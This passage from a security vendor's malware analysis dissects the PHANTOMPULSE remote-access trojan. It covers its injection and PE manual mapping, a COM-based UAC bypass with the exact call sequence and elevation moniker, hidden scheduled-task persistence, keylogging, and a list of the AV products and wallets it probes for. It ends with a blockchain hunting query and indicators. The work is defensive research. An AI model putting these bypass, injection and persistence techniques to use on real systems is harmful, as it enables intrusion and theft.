<p>Each transition intercepts the next debug event, restores <code>RSP</code>, clears the trap flag, modifies <code>RIP</code> and the argument registers (<code>RCX</code>, <code>RDX</code>, <code>R8</code>, <code>R9</code>) for the next call, and continues the debuggee. DR0 is reused as an execute hardware breakpoint on each saved return address, so no inline patches or <code>WriteProcessMemory</code> against the target are needed. From the kernel's view, all that happened was a thread inside <code>kernel32.dll</code> calling <code>LocalAlloc</code>, <code>OpenFileMappingA</code>, and <code>MapViewOfFile</code>.</p>
<p>The cross-architecture path (PE32 from a 64-bit implant) is a PHANTOMPULSE-only variant the public PoC does not have. It takes a shortcut: the implant walks the target's <code>PEB.Ldr</code> via <code>NtReadVirtualMemory</code> (using <code>ProcessWow64Information</code> to pick the 32-bit or 64-bit PEB layout) to find a DLL with a callable entry point, then pre-maps a section containing a 32-bit loader stub and trampoline into both processes via <code>NtCreateSection</code> + <code>NtMapViewOfSection</code>. The redirect is just two stages: bait at <code>RtlExitUserThread</code>, then a <code>DbgBreakPoint</code>-mediated single step jumps <code>RIP</code> to the trampoline. There is no API chain on this path because the section is already mapped on both sides, so <code>OpenFileMappingA</code>/<code>MapViewOfFile</code> aren't needed.</p>
<p>Cross-arch host selection runs through <code>FindHostProcessEx</code>, which excludes critical system processes (<code>csrss.exe</code>, <code>lsass.exe</code>, <code>smss.exe</code>, <code>winlogon.exe</code>, <code>services.exe</code>, <code>wininit.exe</code>, <code>svchost.exe</code>, <code>MsMpEng.exe</code>) and falls back to spawning a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code> if no usable WoW64 host is found.</p>
<h3>ManualMap: full PE mapper</h3>
<p>ManualMap handles DLL payloads with a complete PE manual mapping implementation:</p>
<ol>
<li>
<p>Validates MZ/PE signature; rejects PE32 in the x64 host path (debug-log: <code>&quot;PE32 DLL in x64 host is impossible&quot;</code>)</p>
</li>
<li>
<p>Allocates <code>SizeOfImage</code> in the target via <code>NtAllocateVirtualMemory</code></p>
</li>
<li>
<p>Copies headers and sections to a local staging buffer</p>
</li>
<li>
<p>Applies base relocations (<code>IMAGE_REL_BASED_DIR64</code>, <code>IMAGE_REL_BASED_HIGHLOW</code>)</p>
</li>
<li>
<p>Resolves imports via <code>LoadLibraryA</code> + <code>GetProcAddress</code></p>
</li>
<li>
<p>Wipes PE headers (zeros <code>SizeOfHeaders</code> bytes)</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image10.png" alt="ManualMap PE headers wiping" /></p>
</li>
<li>
<p>Writes the staged image into the remote allocation</p>
</li>
<li>
<p>Sets per-section memory protection</p>
</li>
<li>
<p>Builds a <strong>137-byte trampoline</strong> in a separate 0x2000-byte remote allocation (set to <code>PAGE_EXECUTE_READ</code>):</p>
</li>
</ol>
<p>The <a href="https://gist.github.com/soolidsnake/9f8ddf9900150c467ada95ad7838bd68">full trampoline shellcode gist</a> contains the complete bytes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image15.png" alt="ManualMap trampoline write" /></p>
<p>10. Hijacks a thread via suspend / get-context / set-context</p>
<h2>Privilege escalation</h2>
<p>The <code>elevate</code> command is a UAC bypass via the <strong><code>schuac</code> technique</strong> (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>), published as <a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129</a> by zcgonvh, <a href="https://github.com/hfiref0x/UACME/blob/6daa8d486250c20189a803838c3654aad73a541d/README.md?plain=1#L778">currently under the ID 74</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image14.png" alt="screenshot showing the ID of the privilege escalation technique under UACME" /></p>
<h3>Mechanism</h3>
<p><code>MaintenanceUI.dll</code>'s <code>CMaintenanceUIVirtualFactory</code> (CLSID <code>{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>) is registered with an <code>Elevation</code> registry key, so the OS hands non-admin callers an elevated instance. Its <code>IElevatedFactoryServer</code> interface exposes <code>ServerCreateElevatedObject(rclsid, riid, ppv)</code>, which the elevated server uses to instantiate <strong>any other CLSID</strong> under its elevated context. PHANTOMPULSE feeds it <code>CLSID_TaskScheduler</code>, gets back an elevated <code>ITaskService</code>, and uses that service to register a <code>HighestAvailable</code>-RunLevel task that re-launches the implant.</p>
<h3>The <code>elevate</code> C2 command</h3>
<p>Inside <code>ProcessCommands</code>, the elevate handler:</p>
<ol>
<li>Builds the task action. The command is <code>&lt;system_dir&gt;\rundll32.exe</code> with arguments <code>\&quot;&lt;deployed_dll&gt;\&quot;,DllRegisterServer</code>. The user identifier is <code>COMPUTERNAME\USERNAME</code> from <code>GetEnvironmentVariableW</code>. ![Elevate command call][/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png]</li>
<li>Writes the <code>.elevate</code> marker as a single byte (<code>&quot;1&quot;</code>, <code>0x31</code>), not encoded parameters. The write goes through <code>NtCreateFile</code> + <code>NtWriteFile</code> to bypass user-mode hooks. The marker is just a presence flag; the elevation parameters travel inside the task definition the implant is about to register.</li>
<li>XOR-decrypts the COM Elevation Moniker at runtime, 66 bytes from <code>.rdata</code> xored against seed <code>0xE95CA237</code>, which decodes to <code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>.</li>
<li>Calls <code>CoGetObject(moniker, &amp;BIND_OPTS3{dwClassContext=CLSCTX_LOCAL_SERVER}, IID_IElevatedFactoryServer, &amp;factory)</code> to get an elevated <code>IElevatedFactoryServer*</code>, then <code>factory-&gt;ServerCreateElevatedObject(CLSID_TaskScheduler, IID_ITaskService, &amp;elevatedTaskService)</code> to get an elevated <code>ITaskService*</code> that inherits the elevation.</li>
<li>Registers a transient task <code>DotNetSvcElevateTask</code> at <code>HighestAvailable</code> RunLevel with the rundll32 action above.</li>
<li>Deletes any pre-existing non-elevated persistent tasks so the old low-IL persistence cannot race the elevated relaunch.</li>
<li>Calls <code>ITaskService::Run</code> on the transient task and deletes it immediately afterward. Releases the single-instance mutex and exits the medium-IL implant.</li>
</ol>
<h3>Fallback retry via proxy rundll32</h3>
<p>If the <code>CoGetObject</code> / <code>RegisterTask</code> chain fails, a fallback path takes over. A separate startup path spawns a fresh <code>rundll32.exe &quot;&lt;deployed_dll&gt;&quot;,DllRegisterServer</code> directly via <code>CreateProcessW</code>, with retries (<code>&quot;&gt;&gt;&gt; .elevate redirect attempt %d&quot;</code>). Inside that rundll32 the implant detects <code>isProxy=1</code>, <code>elevated=0</code> and <strong>retries the schuac sequence</strong> with three registration variants (<code>ELEVATED+INTERACTIVE+user</code>, <code>ELEVATED+INTERACTIVE</code>, <code>INTERACTIVE</code>). On success, the elevated task fires and the elevated relaunch takes over. On exhaustion, the proxy logs <code>&quot;&gt;&gt;&gt; Phase 1: all registration methods failed, cleaning marker&quot;</code> and exits.</p>
<h3>Elevated rundll32 relaunch</h3>
<p>When the transient task fires, <code>svchost.exe (Schedule)</code> launches <code>rundll32.exe &quot;&lt;deployed_dll&gt;&quot;,DllRegisterServer</code> under a fresh high-IL token. The implant's <code>DllRegisterServer</code> export runs as the entry; at startup it sees the <code>.elevate</code> marker and a high-IL token and routes to the elevated path:</p>
<ul>
<li>Reads and <strong>deletes</strong> the <code>.elevate</code> marker.</li>
<li><strong>Reinstalls persistence under elevated context</strong>, including the boot task <code>DotNetSvcCoreTask</code> under <code>\Microsoft\Windows\NetFramework\</code>, registered with <code>INTERACTIVE_TOKEN</code> + <code>BootTrigger</code>, which requires admin to register.</li>
<li>Continues normal implant operation as a high-IL service.</li>
</ul>
<h3>Marker-state routing</h3>
<p>At every startup, <code>MainEntryLogic</code> calls <code>GetFileAttributesW</code> on the <code>.elevate</code> path. If it returns <code>INVALID_FILE_ATTRIBUTES</code>, the implant skips all elevation logic and starts normally. If the marker exists, the implant gathers two more facts: whether the current process is a <code>rundll32.exe</code>/<code>regsvr32.exe</code> proxy, and whether the token is elevated, then routes on the combination:</p>
<table>
<thead>
<tr>
<th>Marker</th>
<th>Proxy</th>
<th>Elevated</th>
<th>What happens</th>
</tr>
</thead>
<tbody>
<tr>
<td>absent</td>
<td>n/a</td>
<td>n/a</td>
<td>normal startup, no special routing</td>
</tr>
<tr>
<td>present</td>
<td>no</td>
<td>no</td>
<td>spawn proxy rundll32 to retry the schuac chain, then exit</td>
</tr>
<tr>
<td>present</td>
<td>yes</td>
<td>no</td>
<td>retry schuac inside the rundll32; on exhaustion delete marker and exit</td>
</tr>
<tr>
<td>present</td>
<td>*</td>
<td>yes</td>
<td>delete marker, reinstall persistence with the boot task, continue as high-IL</td>
</tr>
</tbody>
</table>
<p>The marker file's <em>contents</em> are never read, its presence alone drives the routing.</p>
<p>Elastic Security Labs' <a href="https://www.elastic.co/fr/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a> covers detection patterns for the <code>IElevatedFactoryServer</code> class of bypass directly.</p>
<h2>Persistence</h2>
<h3>Three scheduled tasks</h3>
<p>PHANTOMPULSE installs three scheduled tasks via the COM <code>ITaskService</code> interface, each executing <code>rundll32.exe &quot;&lt;stub_dll&gt;&quot;,DllRegisterServer</code>:</p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Trigger</th>
<th>Interval</th>
<th>RunLevel</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>DotNetSvcUpdateTask</code></td>
<td>User Logon + Time</td>
<td>3 min</td>
<td>Standard</td>
</tr>
<tr>
<td><code>DotNetSvcCoreTask</code></td>
<td>Boot + Time</td>
<td>15 min</td>
<td>HighestAvailable + Hidden</td>
</tr>
<tr>
<td><code>DotNetSvcUserTask</code></td>
<td>User Logon</td>
<td>On logon</td>
<td>Standard</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image5.png" alt="Persistance install start" /></p>
<p>The boot task lives under <code>\Microsoft\Windows\NetFramework\</code> to blend with legitimate .NET maintenance tasks. Its full XML body is embedded in <code>.rdata</code>, not constructed at runtime. Signatures on this literal blob are durable across builds.</p>
<p>Installation tries multiple <code>RegisterTask</code> fallback variants per task, combining <code>INTERACTIVE_TOKEN</code> and <code>S4U</code> logon types with different user-identifier formats (<code>COMPUTER\User</code>, <code>SID</code>, short username). The exact order of attempts depends on the implant's privilege context (SYSTEM, admin, or standard user); failures fall through to the next variant until one succeeds.</p>
<h3>Stub DLL drop</h3>
<p>The deployed agent lives <strong>encrypted and compressed inside the EXE's own <code>.rdata</code></strong>. <code>FilelessPersist</code> decrypts it on demand and writes the result to disk via (<code>NtCreateFile</code> + <code>NtWriteFile</code>).</p>
<p>Decryption is two stages:</p>
<ol>
<li><strong>XOR-decode</strong> a blob against a rotating 16-byte key at (<code>decoded[i] = blob[i] ^ key[i &amp; 0xF]</code>, with <code>decoded[0] = 0x1E</code> as a hard-coded first byte that primes the LZNT1 chunk header).</li>
<li><strong><code>RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, ...)</code></strong> on the decoded buffer, which is a DLL (<code>svcagent.dll</code>).</li>
</ol>
<p>Drop paths in priority order, falling through on access errors:</p>
<ol>
<li><code>%ProgramData%\AssetMon\svcagent.dll</code> (primary)</li>
<li><code>%APPDATA%\AssetMon\svcagent.dll</code></li>
<li><code>%TEMP%\svcagent.dll</code></li>
<li>A redundant <code>%ProgramData%</code> &quot;sleeper&quot; copy at a separate path</li>
</ol>
<p>Analysts can reproduce the deployed DLL offline by reading the two regions above out of the EXE, applying the XOR loop, and feeding the result to <code>RtlDecompressBuffer</code> (or any LZNT1 implementation) as seen in the CyberChef screenshot below.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image19.png" alt="Cyberchef decrypting the DLL" /></p>
<h3>DLL sideload migration</h3>
<p>A block inside <code>SetupRegistryPE</code> (logged with the <code>MigrateSideload</code> / <code>MigrateLegacySideloads</code> debug-string prefixes) enumerates running processes and their <strong>executable directories</strong>, hunting for <code>diagcore.dll</code>. When found, it overwrites the file with the current stub via <code>CopyFileW</code>.</p>
<h3>Self-healing</h3>
<p>Self-healing runs on iteration 2 of the C2 loop and every 10th iteration thereafter, gated on a deferred-persist flag being clear. The check order:<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image18.png" alt="Self healing start" /></p>
<ol>
<li><strong>Registry-persistence check first.</strong> <code>CheckRegistryPersistence</code> runs at the top of the block. If it reports unhealthy, the implant immediately re-runs <code>FilelessPersist</code> (re-decrypts and re-drops the stub DLL) and <code>InstallPersistence</code> (re-registers the task triggers).</li>
<li><strong>Task verification.</strong> <code>SelfHealCheckTasks</code> then verifies the three persistence tasks (<code>DotNetSvcUpdateTask</code>, <code>DotNetSvcCoreTask</code>, <code>DotNetSvcUserTask</code>) and reinstalls any that are missing. The boot task check is gated on SYSTEM-or-admin context; non-privileged callers skip it.</li>
<li><strong>AV inventory refresh.</strong> <code>DetectInstalledAV</code> runs at the end to refresh the operator-visible AV product list.</li>
</ol>
<p>The privilege gating matters for eviction. From a non-elevated context, the boot-task check is skipped, so the boot task is not inspected during cleanup. Full eviction requires removing all three tasks plus the registry artifact in one window from an elevated context.</p>
<p>Beyond the iteration-based self-heal, the implant carries a <strong>deferred-persist mechanism</strong> keyed off a single flag. On heartbeat-success paths in <code>C2Loop_Main</code>, once the heartbeat-success counter exceeds one with the flag set, the implant re-runs <code>FilelessPersist</code> + <code>InstallPersistence</code> and clears the flag. This gives PHANTOMPULSE a second persistence-repair path that fires on a different trigger than the iteration-based self-heal.</p>
<h2>Collection</h2>
<h3>Inline keylogger with clipboard monitoring</h3>
<p>The keylogger runs inline in the C2 loop with no dedicated thread. It resolves APIs from <code>user32.dll</code> at runtime:</p>
<table>
<thead>
<tr>
<th>API</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>GetAsyncKeyState</code></td>
<td>Polling key state</td>
</tr>
<tr>
<td><code>GetForegroundWindow</code></td>
<td>Active window detection</td>
</tr>
<tr>
<td><code>GetWindowTextA</code></td>
<td>Window title capture</td>
</tr>
<tr>
<td><code>MapVirtualKeyA</code> / <code>ToUnicode</code></td>
<td>Key translation</td>
</tr>
<tr>
<td><code>GetClipboardSequenceNumber</code></td>
<td>Clipboard change detection</td>
</tr>
<tr>
<td><code>OpenClipboard</code> / <code>GetClipboardData</code></td>
<td>Clipboard reading (CF_UNICODETEXT)</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image21.png" alt="Keylogger function" /></p>
<p>The log file is XOR-encrypted with the <code>0xE95CA237</code> seed. Uploads send only the delta to avoid retransmission.</p>
<h3>Screenshot</h3>
<p>Screenshots use GDI APIs resolved by hash. If desktop width exceeds 960 px, the image is downscaled before upload. The raw BMP is built in memory and uploaded with <code>Content-Type: image/bmp</code>. Triggered on-demand by the <code>screenshot</code> C2 command (hash <code>0x9A37F083</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image27.png" alt="Screenshot function" /></p>
<h3>System reconnaissance</h3>
<p>Recon data the implant gathers:</p>
<table>
<thead>
<tr>
<th>Data</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU</td>
<td>Registry: <code>ProcessorNameString</code></td>
</tr>
<tr>
<td>GPU</td>
<td>Registry display adapter <code>DriverDesc</code> (filters &quot;Microsoft Basic&quot;)</td>
</tr>
<tr>
<td>RAM</td>
<td><code>GlobalMemoryStatusEx</code></td>
</tr>
<tr>
<td>OS</td>
<td><code>RtlGetVersion</code> with build-to-version mapping (Win7 through Win11, Server 2008 through Server 2025)</td>
</tr>
<tr>
<td>Username</td>
<td><code>GetUserNameW</code> with fallback to <code>LookupAccountSidW</code> from <code>explorer.exe</code> token</td>
</tr>
<tr>
<td>Privilege</td>
<td>Token elevation type: <code>user</code>, <code>admin</code>, <code>admin_nouac</code>, <code>system</code></td>
</tr>
<tr>
<td>AV</td>
<td><code>DetectInstalledAV</code> matches running processes against a hardcoded list of ~25–30 AV vendor process names</td>
</tr>
<tr>
<td>Apps</td>
<td><code>DetectInstalledApps</code> checks a curated 19-name targeted-app list</td>
</tr>
<tr>
<td>Firewall state</td>
<td>Reads <code>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\{Domain,Standard,Public}Profile</code> to record per-profile enabled state</td>
</tr>
<tr>
<td>Services</td>
<td>Running-service count via service enumeration</td>
</tr>
<tr>
<td>Machine ID</td>
<td>DJB2(module name) ^ volume serial</td>
</tr>
<tr>
<td>Public IP</td>
<td>Multi-API HTTPS chain</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image1.png" alt="System reconnaissance" /></p>
<p>The AV-detection list is unusually broad, covering standard Western consumer AV products such as Defender, Norton, McAfee, Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G Data, Kaspersky, Panda, Sophos, Trend Micro, VIPRE, Webroot, ZoneAlarm, Comodo along with EDR vendors (CrowdStrike, SentinelOne, Cylance, Malwarebytes, HitmanPro) are all covered. The implant also probes for <strong>AhnLab V3</strong> (South Korean), <strong>Qihoo 360 / 360 Total Security</strong> and <strong>Tencent QQPC</strong> (Chinese), and <strong>K7 Computing</strong> (Indian). The Asian-AV inclusion is uncommon for Western-targeted commodity stealers and consistent with an implant designed for victims across multiple regional markets.</p>
<p>The implant also checks for a curated list of 19 high-value applications by name and flags matches in the heartbeat (<code>App detection: found %d apps</code>):</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Targets</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cryptocurrency wallets</td>
<td><code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code></td>
</tr>
<tr>
<td>Messengers</td>
<td><code>telegram</code>, <code>discord</code>, <code>signal</code>, <code>viber</code>, <code>slack</code>, <code>whatsapp</code></td>
</tr>
<tr>
<td>Mail clients</td>
<td><code>thunderbird</code>, <code>outlook</code></td>
</tr>
<tr>
<td>2FA app</td>
<td><code>authy</code></td>
</tr>
<tr>
<td>File transfer / SSH</td>
<td><code>filezilla</code>, <code>winscp</code></td>
</tr>
<tr>
<td>Gaming</td>
<td><code>steam</code></td>
</tr>
</tbody>
</table>
<p>The detection function (<code>DetectInstalledApps</code>) does <strong>not</strong> scan the registry or enumerate processes. It expands three environment-variable roots (<code>%LOCALAPPDATA%</code>, <code>%APPDATA%</code>, <code>%ProgramFiles(x86)%</code>), concatenates a hardcoded UTF-16 relative-path suffix per app (e.g. <code>\Telegram Desktop\</code>, <code>\Authy Desktop\</code>, <code>\Ledger Live\</code>, <code>\@trezor\trezor-suite\</code>, <code>\Steam\steam.exe</code>), and calls <code>GetFileAttributesW</code> on each path. A non-error return means the app is installed, and the name is recorded in the heartbeat results buffer.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image8.png" alt="List of Targeted apps" /></p>
<p>PHANTOMPULSE itself does not extract data from any of these. The list is target reconnaissance for follow-on tasking. The operator sees in the heartbeat which high-value applications a given victim has and decides what specialized payload to push next via <code>inject</code> or <code>drop</code>.</p>
<p>No wallet, browser, messenger, or credential stealer functionality was identified in the analyzed sample; the targeting list is purely a presence-check feeding the operator's decision tree.</p>
<h2>Uninstall</h2>
<p>A 6-step cleanup, triggered by the <code>uninstall</code> command, by <code>&quot;status&quot;:&quot;deleted&quot;</code> in a heartbeat response, or by a kill flag in the registry:</p>
<table>
<thead>
<tr>
<th>Step</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/6</td>
<td>Write kill flag to HKCU + HKLM, kill host process</td>
</tr>
<tr>
<td>2/6</td>
<td>Remove all 3 scheduled tasks via COM + <code>CreateProcessW</code> fallback</td>
</tr>
<tr>
<td>3/6</td>
<td>Remove legacy registry: NTLoad value, COM hijack keys, print monitor keys</td>
</tr>
<tr>
<td>4/6</td>
<td>Delete stub DLLs, sleeper logs, registry PE blob, ProgramData directories</td>
</tr>
<tr>
<td>5/6</td>
<td>Delete install path and self path from disk</td>
</tr>
<tr>
<td>6/6</td>
<td>Terminate residual <code>healthmon.exe</code> and any <code>rundll32.exe</code> instances hosting <code>svcagent.dll</code></td>
</tr>
</tbody>
</table>
<p>Step 3 reveals the legacy persistence techniques: cleanup logic for COM hijack and print monitor keys that this build never installs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image3.png" alt="Removing persistance through uninstall command" /></p>
<h2>Attribution</h2>
<p>PHANTOMPULSE's tradecraft, targeting, and infrastructure choices align with the <strong>DPRK-aligned crypto-targeting intrusion clusters</strong> that include Lazarus, BlueNoroff, UNC5342 (Contagious Interview), and APT38. Multiple independent dimensions match recent public reporting on those clusters.</p>
<p><strong>Signals aligning with DPRK reporting:</strong></p>
<ul>
<li><strong>Blockchain-resolved C2 via transaction <code>input</code> fields</strong> matches the dead-drop-resolver pattern Mandiant attributes to UNC5342 (Contagious Interview) in <a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a>. PHANTOMPULSE's specifics (wallet-byte XOR, multi-chain Blockscout) are not a 1:1 fingerprint, but the technique class is now DPRK-tagged.</li>
<li><strong>Desktop crypto-wallet enumeration set</strong> (<code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code>) closely matches Unit 42's <a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor / Koi Stealer for macOS</a> targeting list, which is DPRK-attributed.</li>
<li><strong>Cross-platform Windows + macOS implants</strong> for the same victim profile (the prior REF6598 post documented a macOS sibling with C2 at <code>0x666[.]info</code> and a Telegram fallback at <code>t[.]me/ax03bot</code>) is a BlueNoroff signature.</li>
<li><strong>Telegram and messenger targeting</strong> is specifically a BlueNoroff specialty per <a href="https://arcticwolf.com/resources/blog/bluenoroff-uses-clickfix-fileless-powershell-and-ai-generated-zoom-meetings-to-target-web3-sector/">Arctic Wolf BlueNoroff coverage</a>.</li>
</ul>
<h2>Hunting for new C2 domains via the resolver wallet's known-plaintext signature</h2>
<p>The XOR scheme used by the blockchain resolver leaks a stable 2-byte signature defenders can hunt against the entire chain, not just one wallet.</p>
<p>Two facts combine: every C2 URL begins with <code>ht</code> (from <code>http://</code> or <code>https://</code>), and the XOR key is the wallet's ASCII address verbatim, so its first two key bytes are always the literal characters <code>0</code> and <code>x</code>. XOR-ing <code>ht</code> against <code>0x</code> yields <code>\x58 \x0c</code>. <strong>Every encrypted <code>input</code> field produced by a PHANTOMPULSE-style resolver, on any chain, signed by any related wallet, begins with the four hex characters <code>580c</code>.</strong></p>
<p>This converts the hunt from monitoring one wallet into sweeping the chain for the signature. Public Ethereum, Base, and Optimism transaction data is queryable via BigQuery, Dune, or full archive nodes. A query against the public Ethereum transactions dataset for <code>input</code> values starting with <code>0x580c</code>, scoped to a recent block-timestamp window, surfaces previously-unknown resolver wallets used by the same codebase. Each match is validated by decoding with the sender wallet's ASCII address as the key: a real C2 URL begins with <code>http</code> after decoding. The following <a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':''%7D,'Standard',false)">CyberChef recipe</a> can be used to decrypt the C2 URL.</p>
<pre><code class="language-sql">SELECT 
    block_timestamp AS block_time, 
    from_address AS `from`, 
    to_address AS `to`, 
    input AS data
FROM `bigquery-public-data.crypto_ethereum.transactions`
WHERE block_timestamp &gt;= '2026-04-01 00:00:00'
  AND input LIKE '0x580c%'
ORDER BY block_timestamp DESC
LIMIT 10000;
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image20.png" alt="Bigquery on Etherium transactions" /></p>
<p>CyberChef can decrypt the input data to reveal the domain, as shown in the screenshot below.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image4.png" alt="Cyberchef to decrypt the C2" /></p>
<h2>Conclusion</h2>
<p>PHANTOMPULSE is engineered from published components: module stomping, debug-API state machines, manual mapping, hardware-breakpoint AMSI/WLDP/ETW bypass, scheduled-task persistence, and blockchain C2. The combination and the hardening that ties it together point to a mature codebase under active development. The durable signals are behavioral and are covered by Elastic's <a href="https://www.elastic.co/fr/security-labs/phantom-in-the-vault">behavioral protections for REF6598</a>.</p>
<h2>PHANTOMPULSE and MITRE ATT&amp;CK</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/001/">Process Injection: DLL Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/007/">System Binary Proxy Execution: Msiexec</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">System Binary Proxy Execution: Rundll32</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
</ul>
<h2>Remediating</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PhantomPulse.yar">Windows.Trojan.PhantomPulse</a></li>
</ul>
<h2>Observations</h2>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code></td>
<td>SHA-256</td>
<td>PHANTOMPULSE RAT</td>
<td>Final payload</td>
</tr>
<tr>
<td><code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code></td>
<td>SHA-256</td>
<td>syncobs.exe</td>
<td>PHANTOMPULL loader</td>
</tr>
<tr>
<td><code>def66275fa3baffb16e6e4ae0297861d9790ae7161fbc271a2ba05d121f13c70</code></td>
